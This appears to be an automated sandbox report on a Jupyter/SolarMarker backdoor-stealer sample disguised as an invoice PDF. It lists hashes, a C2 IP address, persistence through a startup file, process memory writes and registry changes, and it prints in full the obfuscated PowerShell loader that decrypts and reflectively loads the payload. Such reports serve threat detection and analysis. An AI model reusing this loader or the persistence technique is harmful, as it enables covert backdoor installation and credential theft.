jupyter | 1afc90c1b93eeb299b87b505112b345a64b07e91b0f1e6306a9c2ece7c7feae3

General

Target

Tools-Invoice.pdf.exe
Size

272.0MB
MD5

994aae548a9f407ae1784e973ad94693
SHA1

08cb87669814ea1848cef750c75a39cd37cc61bf
SHA256

1afc90c1b93eeb299b87b505112b345a64b07e91b0f1e6306a9c2ece7c7feae3
SHA512

ed7fbe45a6d89883cc733899691c4f621f5980bbd4feabfdf2d06a902c250f1ba4c6293d216ff8f76927f2007ebcddf62456a1ac7bba02591972c980a5b6de88
SSDEEP

49152:Uj+t6IRUEFX1PVv3Gfbs8HuQq1nvHol6Kz3DfjkJ:Uj+tNtV/AAFBH9yzL

Score

10^/10

jupyter backdoor stealer trojan

Malware Config

Extracted

Family

jupyter

C2

http://146.70.71.174

Signatures

Jupyter, SolarMarker
Jupyter is a backdoor and infostealer first seen in mid 2020.
backdoor trojan stealer jupyter

Drops startup file 1 IoCs

Processes:

Tools-Invoice.pdf.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bUJOxDiBqbHlNwAEZHsRcGfd.KoRlwOCWmTZDWQ	Tools-Invoice.pdf.exe

Executes dropped EXE 1 IoCs

Processes:

TvtuziedoTs.exe

pid process

2484 TvtuziedoTs.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
2484	TvtuziedoTs.exe

Modifies registry class 7 IoCs

Processes:

Tools-Invoice.pdf.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000_CLASSES\.korlwocwmtzdwq	Tools-Invoice.pdf.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000_CLASSES\.korlwocwmtzdwq\ = "umroqkpyuohzjzbbolktqwvdatqoob"	Tools-Invoice.pdf.exe
Key created	\REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000_CLASSES\umroqkpyuohzjzbbolktqwvdatqoob\shell\open\command	Tools-Invoice.pdf.exe
Key created	\REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000_CLASSES\umroqkpyuohzjzbbolktqwvdatqoob	Tools-Invoice.pdf.exe
Key created	\REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000_CLASSES\umroqkpyuohzjzbbolktqwvdatqoob\shell	Tools-Invoice.pdf.exe
Key created	\REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000_CLASSES\umroqkpyuohzjzbbolktqwvdatqoob\shell\open	Tools-Invoice.pdf.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000_CLASSES\umroqkpyuohzjzbbolktqwvdatqoob\shell\open\command\ = "powershell -windowstyle hidden -command \"$AC=New-Object System.Security.Cryptography.AesCryptoServiceProvider;$AC.Key=[Convert]::FromBase64String('4tlPZeU/u3NIcXTiv65iMu84tVLO8U2c+xIHrjnZmxo=');$EB=[Convert]::FromBase64String([IO.File]::ReadAllText([System.Text.Encoding]::Utf8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxiVUpPeERpQnFiSGxOd0FFWkhzUmNHZmQuS29SbHdPQ1dtVFpEV1E='))));$AC.IV = $EB[0..15];$Decryptor=$AC.CreateDecryptor();$UB=$Decryptor.TransformFinalBlock($EB, 16, $EB.Length-16);$AC.Dispose();[Reflection.Assembly]::Load($UB);[rt8wjQPEtmlcqs2iZrKuC47aQbTVEoFCYALe76hrb9pjqI8TnDQI_jjI0fyLqYCg.F5YiBpBH3_z]::QcCj8u48mNjtGnV7OG0X1ZnL892XAoU7zbmgVpCcAaUUbOZCUGvAYET2YXVRYaeFftCcN();\""	Tools-Invoice.pdf.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

Tools-Invoice.pdf.exe

description pid process

Token: SeDebugPrivilege 2488 Tools-Invoice.pdf.exe

description	pid	process
Token: SeDebugPrivilege	2488	Tools-Invoice.pdf.exe

Suspicious use of WriteProcessMemory 7 IoCs

Processes:

Tools-Invoice.pdf.exe

description	pid	process	target process
PID 2460 wrote to memory of 2484	2460	Tools-Invoice.pdf.exe	TvtuziedoTs.exe
PID 2460 wrote to memory of 2484	2460	Tools-Invoice.pdf.exe	TvtuziedoTs.exe
PID 2460 wrote to memory of 2484	2460	Tools-Invoice.pdf.exe	TvtuziedoTs.exe
PID 2460 wrote to memory of 2484	2460	Tools-Invoice.pdf.exe	TvtuziedoTs.exe
PID 2460 wrote to memory of 2488	2460	Tools-Invoice.pdf.exe	Tools-Invoice.pdf.exe
PID 2460 wrote to memory of 2488	2460	Tools-Invoice.pdf.exe	Tools-Invoice.pdf.exe
PID 2460 wrote to memory of 2488	2460	Tools-Invoice.pdf.exe	Tools-Invoice.pdf.exe

C:\Users\Admin\AppData\Local\Temp\Tools-Invoice.pdf.exe
"C:\Users\Admin\AppData\Local\Temp\Tools-Invoice.pdf.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2460
- C:\Users\Admin\AppData\Local\Temp\TvtuziedoTs.exe
  "C:\Users\Admin\AppData\Local\Temp\TvtuziedoTs.exe"
  2⤵
  - Executes dropped EXE
  PID:2484
- C:\Users\Admin\AppData\Local\Temp\Tools-Invoice.pdf.exe
  "C:\Users\Admin\AppData\Local\Temp\Tools-Invoice.pdf.exe" /s
  2⤵
  - Drops startup file
  - Modifies registry class
  - Suspicious use of AdjustPrivilegeToken
  PID:2488

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\TvtuziedoTs.exe

Filesize
997KB

MD5
dbc534854dd385e59a3f1906ddfb9020

SHA1
2b3062d82232ce10a8713829199769ff0d12e0fc

SHA256
06486febb76aaa7bf469ba1bf46a92c4eafc42a5626646184e8865c862d09dd0

SHA512
1506fbc8fca0a3ca06e24fdae2fb9e8cb345fd6197f5cbbaa990490cc20a25b72906ab9668725f29c0bfce6528bd7dca5dc15ca0ac3c0327d1876e58e3d47951

Download Submit
memory/2460-1-0x000007FEF5180000-0x000007FEF5B6C000-memory.dmp

Filesize
9.9MB

Download
memory/2460-9-0x000007FEF5180000-0x000007FEF5B6C000-memory.dmp

Filesize
9.9MB

Download
memory/2460-0-0x0000000000080000-0x00000000002BE000-memory.dmp

Filesize
2.2MB

Download
memory/2484-12-0x0000000000400000-0x0000000000500000-memory.dmp

Filesize
1024KB

Download
memory/2484-11-0x0000000000220000-0x0000000000221000-memory.dmp

Filesize
4KB

Download
memory/2488-18-0x000000001B640000-0x000000001B922000-memory.dmp

Filesize
2.9MB

Download
memory/2488-14-0x000007FEF5180000-0x000007FEF5B6C000-memory.dmp

Filesize
9.9MB

Download
memory/2488-10-0x000007FEF5180000-0x000007FEF5B6C000-memory.dmp

Filesize
9.9MB

Download
memory/2488-19-0x0000000000480000-0x000000000049C000-memory.dmp

Filesize
112KB

Download
memory/2488-20-0x0000000000800000-0x0000000000848000-memory.dmp

Filesize
288KB

Download
memory/2488-21-0x00000000004A0000-0x00000000004A8000-memory.dmp

Filesize
32KB

Download
memory/2488-22-0x0000000002160000-0x0000000002206000-memory.dmp

Filesize
664KB

Download
memory/2488-23-0x0000000000870000-0x00000000008A4000-memory.dmp

Filesize
208KB

Download
memory/2488-24-0x000000001A8C0000-0x000000001A90A000-memory.dmp

Filesize
296KB

Download
memory/2488-25-0x0000000002210000-0x0000000002226000-memory.dmp

Filesize
88KB

Download
memory/2488-26-0x000000001B070000-0x000000001B0F0000-memory.dmp

Filesize
512KB

Download
memory/2488-29-0x000000001AE70000-0x000000001AF24000-memory.dmp

Filesize
720KB

Download
memory/2488-33-0x000000001B070000-0x000000001B0F0000-memory.dmp

Filesize
512KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads